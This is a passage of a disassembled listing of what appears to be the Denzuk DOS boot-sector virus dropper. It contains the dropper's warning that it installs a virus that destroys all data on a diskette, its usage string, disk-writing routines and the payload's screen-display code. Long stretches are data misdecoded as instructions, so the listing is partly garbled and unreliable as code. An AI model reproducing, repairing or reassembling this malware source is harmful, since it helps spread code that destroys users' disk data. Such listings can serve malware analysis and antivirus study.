SUBROUTINE +; + +sub_0001 proc near +loc_0008: + mov ah,9 + int 21h ; DOS Services ah=function 09h + ; display char string at ds:dx + +loc_ret_0009: + retn +sub_0001 endp + +data_0040 db 28h + db 00h, 21h, 02h, 28h, 00h, 22h + db 02h, 28h, 00h, 23h, 02h, 28h + db 00h, 24h, 02h, 28h, 00h, 25h + db 02h, 28h, 00h, 26h, 02h, 28h + db 00h, 27h, 02h, 28h, 00h, 28h + db 02h, 28h, 00h, 29h, 02h + db 0Dh +data_0041 db 0Ah, 'You are about to install a ' + db 'VIRUS on your diskette!!!', 0Dh, 0Ah + db 'This will des' +data_0043 dw 7274h +data_0044 db 6Fh +data_0045 dw 2079h + db 'ALL data on the diskette!!!', 0Dh + db 0Ah, 'Inser' +data_0046 dw 2074h + db 'a formatted 360K di' +data_0047 dw 6B73h + db 'ette into the drive.', 0Dh, 0Ah, 'A' + db 're you sure you want to proceed ' + db '(y/N)? $' + db 0Dh, 0Ah, 0Ah, 'Writing...$' +data_0048 db 0Dh + db 0Ah, 45h, 72h, 72h, 6Fh, 72h + db 07h, 21h, 07h, 21h, 07h + db '!$' + db 'Usage: DENZUK A: ', 0Dh, 0Ah + db '$' +data_0049 dw 167 dup (0) +data_0050 dw 0 +data_0051 db 0 +data_0052 dw 0, 0 +data_0054 dw 0, 0 + db 82 dup (0) +data_0056 dd 00000h +data_0057 dd 00000h + db 77 dup (0) +data_0058 db 0F6h + db 29h, 28h, 00h, 00h,0FFh + +locloop_0011: + loop locloop_0011 ; Loop if cx > 0 + + pop di + pop si + pop es + pop ds + pop dx + pop cx + pop ax + popf ; Pop flags + retn + db 8Dh, 36h,0D1h, 07h + db 0BFh, 90h, 0Bh,0B9h, 00h, 05h + db 0F3h,0A4h + db 8Dh, 36h,0D1h, 0Ch + db 0BFh, 40h, 2Bh,0B9h, 00h, 05h + db 0F3h,0A4h,0C3h, 51h,0FCh, 32h + db 0D2h,0BEh, 10h, 00h +loc_0012: + mov cx,28h + +locloop_0013: + mov ax,es:[di] + xchg al,ah + ror ax,1 ; Rotate + ror ax,1 ; Rotate + mov dh,ah + and dh,0C0h + and ah,3Fh ; '?' + or ah,dl + mov dl,dh + xchg al,ah + stosw ; Store ax to es:[di] + loop locloop_0013 ; Loop if cx > 0 + + dec si + jnz loc_0012 ; Jump if not zero + pop cx + retn + db 51h,0FDh, 32h,0D2h + db 0BEh, 10h, 00h +loc_0014: + mov cx,28h + +locloop_0015: + mov ax,es:[di] + xchg al,ah + rol ax,1 ; Rotate + rol ax,1 ; Rotate + mov dh,al + and dh,3 + and al,0FCh + or al,dl + mov dl,dh + xchg al,ah + stosw ; Store ax to es:[di] + loop locloop_0015 ; Loop if cx > 0 + + dec si + jnz loc_0014 ; Jump if not zero + pop cx + cld ; Clear direction + retn +data_0066 db 'WS EXE ', 0 + db 9 dup (0) + db 52h,0B1h, 3Bh, 12h, 02h, 00h + db 00h, 5Eh, 02h, 00h + db 'WSHELP OVR!' + db 0 + db 9 dup (0) + db 03h, 88h, 12h, 11h, 41h, 01h + db 0A0h, 9Dh, 00h, 00h + db 'WSSPELL OVR!' + db 0 + db 9 dup (0) + db 03h, 88h, 12h, 11h, 9Fh, 00h + db 80h, 80h, 00h, 00h, 59h,0F9h + db 43h,0F9h, 31h,0F9h, 45h,0F9h + db 52h,0F9h, 50h, 29h, 00h + db 9 dup (0) + db 0A0h,0B2h, 46h, 12h, 00h, 00h + db 00h, 00h, 00h, 00h + db 'WSMSGS OVR!' + db 0 + db 9 dup (0) + db 03h, 88h, 12h, 11h,0C0h, 00h + db 62h, 53h, 00h, 00h + db 'PREVIEW OVR!' + db 0 + db 9 dup (0) + db 03h, 88h, 0Fh, 11h, 16h, 01h + db 10h,0ABh, 00h, 00h + db 'PREVIEW MSG!' + db 0 + db 9 dup (0) + db 03h, 88h, 0Fh, 11h,0D5h, 00h + db 00h, 22h, 00h, 00h + db 'DRAFT PDF!' + db 0 + db 9 dup (0) + db 03h, 88h, 12h, 11h,0DEh, 00h + db 0AAh, 03h, 00h, 00h + db 'WSSHORT OVR!' + db 0 + db 9 dup (0) + db 03h, 88h, 12h, 11h,0DFh, 00h + db 00h, 02h, 00h, 00h + db 'WS4 PDF!' + db 0 + db 9 dup (0) + db 03h, 88h, 12h, 11h,0E0h, 00h + db 0ABh, 01h, 00h, 00h + db 'CONFIG SYS!' + db 0 + db 9 dup (0) + db 11h,0A3h, 39h, 12h,0E1h, 00h + +locloop_0017: + or ax,[bx+si] + add [bx+si],al + inc cx + push bp + push sp + dec di + inc bp + pop ax + inc bp + inc bx + inc dx + inc cx + push sp + and [bx+si],ax + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],ah + mov word ptr ds:[1239h],ax + loop locloop_0018 ; Loop if cx > 0 + + +locloop_0018: + or [bx+si],ax + add [bx+si],al + push di + push bx + dec ax + pop cx + push ax + dec ax + and [bx+si],ah + dec di + imul byte ptr [bx+si] ; ax = data * al + sub [bx+si],al + add [bx+si],al + add [bx+si],al + stosb ; Store al to es:[di] + test al,0 + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + sub ch,[bp+si+0] + nop ;*ASM fixup - displacement + nop ;*ASM fixup - sign extn byte + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + add byte ptr [bx+si],0 + add [bx+si],al + add [bp+si],al + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + add [bx+si],al + add [bx+si],al + add [bp+si],ch + stosb ; Store al to es:[di] + add [bx+si],al + add [bp+si],ch + stosb ; Store al to es:[di] + add [bp+si],al + stosb ; Store al to es:[di] + mov al,ds:data_0183e + test al,0 + add [bp+si],ch + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + stosb ; Store al to es:[di] + test al,0 + add [bx+si],al + or ch,[bp+si+0A0h] + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + sub ch,[bp+si+0] + nop ;*ASM fixup - displacement + nop ;*ASM fixup - sign extn byte + add ch,[bp+si-5556h] + add byte ptr [bx+si],0 + add [bx+si],al + add [bp+si],ch + stosb ; Store al to es:[di] + mov al,ds:data_0033e + add [bx+si],al + add [bp+si],ch + stosb ; Store al to es:[di] + add [bx+si],al + add [bp+si],ch + stosb ; Store al to es:[di] + add [bp+si],al + stosb ; Store al to es:[di] + mov al,ds:data_0182e + stosb ; Store al to es:[di] + add [bx+si],al + or ch,[bp+si+0A8h] + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bp+si+0A8h],ch + add [bp+si],al + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + add byte ptr [bx+si],0 + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bp+si],ch + stosb ; Store al to es:[di] + add [bx+si],al + add [bp+si],cl + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + add byte ptr [bx+si],0 + add [bx+si],al + add [bp+si-7F56h],ch + add [bx+si],al + add [bx+si],al + add [bp+si],ch + stosb ; Store al to es:[di] + add byte ptr [bx+si],0 + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + add [bp+si],al + stosb ; Store al to es:[di] + mov al,ds:data_0161e + stosb ; Store al to es:[di] + add byte ptr [bx+si],0 + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + stosb ; Store al to es:[di] + test al,0 + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + test al,0 + add [bp+si],cl + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + mov al,ds:data_0161e + stosb ; Store al to es:[di] + add [bx+si],al + add [bx+si],al + sub ch,[bp+si+80h] + add [bx+si],al + add [bp+si],cl + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + mov al,byte ptr ds:[0A00h] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + add [bp+si],ch + stosb ; Store al to es:[di] + test al,0 + add ch,[bp+si+0A0h] + add ch,[bp+si+0A8h] + add [bp+si],ch + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bp+si+0A8h],ch + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + add byte ptr [bx+si],0 + or ch,[bp+si-5556h] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + mov al,ds:data_0161e + stosb ; Store al to es:[di] + add [bx+si],al + add [bx+si],al + add [bp+si+80h],ch + add [bx+si],al + add [bp+si-5556h],ch + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + mov al,ds:data_0033e + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + add [bp+si],ch + stosb ; Store al to es:[di] + add byte ptr [bx+si],2 + stosb ; Store al to es:[di] + mov al,ds:data_0033e + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + stosb ; Store al to es:[di] + test al,0 + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + add byte ptr [bx+si],0 + add [bp+si],cl + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + mov al,ds:data_0161e + stosb ; Store al to es:[di] + add [bx+si],al + add [bx+si],al + add [bp+si],al + add byte ptr [bx+si],0 + add [bp+si],al + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + mov al,ds:data_0033e + add ch,[bp+si+2A00h] + mov al,ds:data_0033e + add ch,[bp+si+0A0h] + add [bp+si],ch + stosb ; Store al to es:[di] + add byte ptr [bx+si],0 + add ch,[bp+si-5556h] + mov al,ds:data_0033e + add [bx+si],al + add [bx+si],al + pushf ; Push flags + push ax + push cx + push dx + push ds + push es + push si + push di + push cs + pop ds + mov ax,5 + int 10h ; Video display ah=functn 00h + ; set display mode in al + mov ax,0B800h + mov es,ax +;* call sub_0002 ;* + db 0E8h, 24h, 00h + mov cx,10h + +locloop_0019: + call sub_0003 + mov di,3040h +;* call sub_0004 ;* + db 0E8h, 57h, 00h + loop locloop_0019 ; Loop if cx > 0 + + mov cx,0FFFFh + +locloop_0020: + loop locloop_0020 ; Loop if cx > 0 + + mov cx,0F6FFh + daa ; Decimal adjust + sub [bx+si],al + add [bp+si],al + stosb ; Store al to es:[di] + test al,0 + add [bp+si-5556h],ch + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + add byte ptr [bx+si],0 + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + stosb ; Store al to es:[di] + test al,0 + +; +; SUBROUTINE +; + +sub_0003 proc near + add [bp+si],al + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + add byte ptr [bx+si],0 + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bp+si],ch + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + add [bx+si],al + add [bp+si],cl + stosb ; Store al to es:[di] + add byte ptr [bx+si],0 + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bp+si],ch + stosb ; Store al to es:[di] + add [bx+si],al + add [bp+si],ch + stosb ; Store al to es:[di] + add [bp+si],al + stosb ; Store al to es:[di] + mov al,ds:data_0033e + stosb ; Store al to es:[di] + add byte ptr [bx+si],0 + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + stosb ; Store al to es:[di] + test al,0 + add [bx+si],al + or ch,[bp+si+0A0h] + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + or ch,[bp+si-5F56h] + add [bx+si],al + or ch,[bp+si+80h] + add [bx+si],al + add [bx+si],al + add [bx+si],al + add ch,[bp+si+0AAh] + add [bx+si],al + sub ch,[bp+si+0] + nop ;*ASM fixup - displacement + nop ;*ASM fixup - sign extn byte + add [bp+si],ch + stosb ; Store al to es:[di] + add [bp+si],al + stosb ; Store al to es:[di] + mov al,ds:data_0033e + sub al,[bx+si] + add [bp+si],ch + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + stosb ; Store al to es:[di] + test al,0 + add [bx+si],al + add [bp+si+0A8h],ch + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bp+si],ch + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + add byte ptr [bx+si],0Ah + stosb ; Store al to es:[di] + add byte ptr [bx+si],0 + add [bx+si],al + add [bx+si],al + add [bp+si],ch + stosb ; Store al to es:[di] + mov al,ds:data_0033e + add [bp+si],ch + stosb ; Store al to es:[di] + add [bx+si],al + add [bp+si],ch + stosb ; Store al to es:[di] + add [bp+si],al + stosb ; Store al to es:[di] + mov al,ds:data_0179e + add [bx+si],al + add [bp+si-5756h],ch + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + stosb ; Store al to es:[di] + test al,0 + add [bx+si],al + add [bp+si],ch + stosb ; Store al to es:[di] + add [bp+si],cl + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + mov al,ds:data_0158e + add [bp+si-5556h],ch + add [bp+si],cl + stosb ; Store al to es:[di] + add byte ptr [bx+si],0 + add [bx+si],al + add [bx+si],al + add [bp+si-7F56h],ch + add [bx+si],al + add [bp+si],ch + stosb ; Store al to es:[di] + add [bx+si],al + add [bp+si],ch + stosb ; Store al to es:[di] + add [bp+si],al + stosb ; Store al to es:[di] + mov al,ds:data_0181e + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + stosb ; Store al to es:[di] + test al,0 + add [bx+si],al + add [bp+si],ch + stosb ; Store al to es:[di] + add [bp+si],cl + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + mov al,ds:data_0161e + add [bp+si],al + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + test al,0Ah + stosb ; Store al to es:[di] + add byte ptr [bx+si],0 + add [bx+si],al + add [bx+si],al + or ch,[bp+si+0A8h] + add [bx+si],al + add [bp+si],ch + stosb ; Store al to es:[di] + add [bx+si],al + add [bp+si],ch + stosb ; Store al to es:[di] + add [bp+si],al + stosb ; Store al to es:[di] + mov al,ds:data_0186e + add [bx+si],al + add [bp+si-5556h],ch + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + test al,0 + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bp+si+0A8h],ch + add [bx+si],al + add [bp+si],ch + stosb ; Store al to es:[di] + add [bp+si],cl + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + mov al,ds:data_0161e + test al,0 + or ch,[bp+si-5556h] + stosb ; Store al to es:[di] + add byte ptr [bx+si],0 + add [bx+si],al + add [bx+si],al + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + add byte ptr [bx+si],0 + add [bx+si],al + sub ch,[bp+si+0] + nop ;*ASM fixup - displacement + nop ;*ASM fixup - sign extn byte + add [bp+si],ch + stosb ; Store al to es:[di] + add [bp+si],al + stosb ; Store al to es:[di] + mov al,ds:data_0185e + add byte ptr [bx+si],0 + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bp+si+0A8h],ch + mul byte ptr ds:data_0035e ; ax = data * al + add [bx+si],al + add [bx+si],al + sub ch,[bp+si-5556h] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + mov al,byte ptr data_0041+40h ; (' ') + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + add [bp+si],ch + stosb ; Store al to es:[di] + mov al,byte ptr data_0041+40h ; (' ') + stosb ; Store al to es:[di] + mov al,byte ptr data_0041+40h ; (' ') + stosb ; Store al to es:[di] + test al,0 + add [bp+si],cl + stosb ; Store al to es:[di] + mov al,ds:data_0033e + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bp+si+0A8h],ch + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + test al,0 + add [bx+si],al + or ch,[bp+si-5556h] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + mov al,ds:data_0161e + stosb ; Store al to es:[di] + add [bx+si],al + add [bx+si],al + add [bp+si],ch + add byte ptr [bx+si],0 + add [bx+si],al + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + mov al,ds:data_0033e + sub ch,[bp+si+2A00h] + stosb ; Store al to es:[di] + add [bx+si],al + add ch,[bp+si+0A0h] + add [bp+si],ch + stosb ; Store al to es:[di] + add byte ptr [bx+si],0 + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bp+si+0A8h],ch + stosb ; Store al to es:[di] + mov al,ds:data_0033e + add [bx+si],al + or ch,[bp+si-5556h] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + mov al,ds:data_0161e + stosb ; Store al to es:[di] + add [bx+si],al + add [bx+si],al + add [bx+si],al + add byte ptr [bx+si],0 + add [bp+si],cl + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + mov al,ds:data_0033e + add [bp+si],ch + add [bp+si],ch + add [bx+si],al + add [bp+si],al + stosb ; Store al to es:[di] + mov al,ds:data_0033e + or ch,[bp+si+0A0h] + add [bx+si],al + or ch,[bx+si+0] + nop ;*ASM fixup - displacement + nop ;*ASM fixup - sign extn byte + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + or ch,[bp+si+0A8h] + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + stosb ; Store al to es:[di] + test al,0 + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + add byte ptr [bx+si],0 + add [bp+si],cl + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + mov al,byte ptr ds:[2800h] + add [bx+si],al + add [bx+si],al + add [bp+si],cl + stosb ; Store al to es:[di] + add byte ptr [bx+si],0 + add [bp+si],al + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + mov al,ds:data_0161e + stosb ; Store al to es:[di] + add [bx+si],al + add [bp+si],ch + stosb ; Store al to es:[di] + add [bp+si],al + stosb ; Store al to es:[di] + mov al,ds:data_0033e + or ch,[bp+si+0A0h] + add [bp+si],ch + stosb ; Store al to es:[di] + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bp+si+0A8h],ch + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + add byte ptr [bx+si],0 + or ch,[bp+si-5556h] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + mov al,ds:data_0161e + mov al,ds:data_0033e + add [bx+si],al + or ch,[bp+si+80h] + add [bx+si],al + add ch,[bp+si-5556h] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + add byte ptr [bx+si],2Ah ; '*' + stosb ; Store al to es:[di] + add [bx+si],al + add [bp+si],ch + stosb ; Store al to es:[di] + add [bp+si],al + stosb ; Store al to es:[di] + mov al,ds:data_0033e + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + stosb ; Store al to es:[di] + test al,0 + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + test al,0 + add [bp+si],cl + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + mov al,ds:data_0161e + stosb ; Store al to es:[di] + add byte ptr [bx+si],0 + add [bp+si],cl + stosb ; Store al to es:[di] + add byte ptr [bx+si],0 + add [bp+si],al + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + test al,0 + add [bp+si],ch + stosb ; Store al to es:[di] + add [bx+si],al + add [bp+si],ch + stosb ; Store al to es:[di] + add [bp+si],al + stosb ; Store al to es:[di] + mov al,byte ptr ds:[0F600h] + and ax,28h + add [bx+si],al + add [bx+si],al + add [bx+si],al + stosb ; Store al to es:[di] + test al,0 + add [bx+si],al + add [bp+si],ch + stosb ; Store al to es:[di] + add [bp+si],cl + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + mov al,byte ptr ds:[2800h] + add [bp+si],ch + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + mov al,byte ptr ds:[0AA0Ah] + add byte ptr [bx+si],0 + add [bx+si],al + add [bx+si],al + add ch,[bp+si+0AAh] + add [bx+si],al + add [bp+si],ch + stosb ; Store al to es:[di] + add [bx+si],al + add [bp+si],ch + stosb ; Store al to es:[di] + add [bp+si],al + stosb ; Store al to es:[di] + mov al,ds:data_0181e + add [bx+si],al + add [bp+si-5556h],ch + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + add byte ptr [bx+si],0 + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bp+si+0A8h],ch + add [bx+si],al + add [bp+si],ch + stosb ; Store al to es:[di] + add [bp+si],cl + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + mov al,ds:data_0161e + mov al,ds:data_0182e + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + or ch,[bp+si+80h] + add [bx+si],al + add [bx+si],al + add [bp+si],ch + stosb ; Store al to es:[di] + mov al,ds:data_0033e + add [bx+si],al + sub ch,[bp+si+0] + nop ;*ASM fixup - displacement + nop ;*ASM fixup - sign extn byte + add [bp+si],ch + stosb ; Store al to es:[di] + add [bp+si],al + stosb ; Store al to es:[di] + mov al,ds:data_0185e + add byte ptr [bx+si],0 + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + test al,0 + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bp+si+0A8h],ch + add [bx+si],al + add [bp+si+0AAh],ch + or ch,[bp+si-5556h] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + mov al,ds:data_0161e + stosb ; Store al to es:[di] + add [bp+si],al + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + add byte ptr [bx+si],0 + add [bx+si],al + add [bx+si],al + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + add byte ptr [bx+si],0 + add [bx+si],al + sub ch,[bp+si+0] + nop ;*ASM fixup - displacement + nop ;*ASM fixup - sign extn byte + add [bp+si],ch + stosb ; Store al to es:[di] + add [bp+si],al + stosb ; Store al to es:[di] + mov al,byte ptr ds:[0AA0Ah] + mov al,ds:data_0033e + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bp+si+0A8h],ch + add [bx+si],al + add ch,[bp+si+0A8h] + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + sub ch,[bp+si+0] + nop ;*ASM fixup - displacement + nop ;*ASM fixup - sign extn byte + or ch,[bp+si-5556h] + add byte ptr [bx+si],0 + add [bx+si],al + add [bp+si],cl + stosb ; Store al to es:[di] + test al,0 + add [bx+si],al + add [bx+si],al + sub ch,[bp+si+0] + nop ;*ASM fixup - displacement + nop ;*ASM fixup - sign extn byte + add [bp+si],ch + stosb ; Store al to es:[di] + add [bp+si],al + stosb ; Store al to es:[di] + mov al,ds:data_0183e + test al,0 + add [bp+si],ch + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + mov al,ds:data_0033e + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + stosb ; Store al to es:[di] + test al,0 + add [bx+si],al + sub ch,[bp+si+0A0h] + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + sub ch,[bp+si+0] + nop ;*ASM fixup - displacement + nop ;*ASM fixup - sign extn byte + add [bp+si],ch + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + add byte ptr [bx+si],0 + add [bx+si],al + add [bp+si-7F56h],ch + add [bx+si],al + add [bx+si],al + add [bp+si],ch + stosb ; Store al to es:[di] + add [bx+si],al + add [bp+si],ch + stosb ; Store al to es:[di] + add [bp+si],al + stosb ; Store al to es:[di] + mov al,ds:data_0161e + stosb ; Store al to es:[di] + add byte ptr [bx+si],0 + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + stosb ; Store al to es:[di] + test al,0 + add [bp+si],ch + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + sub 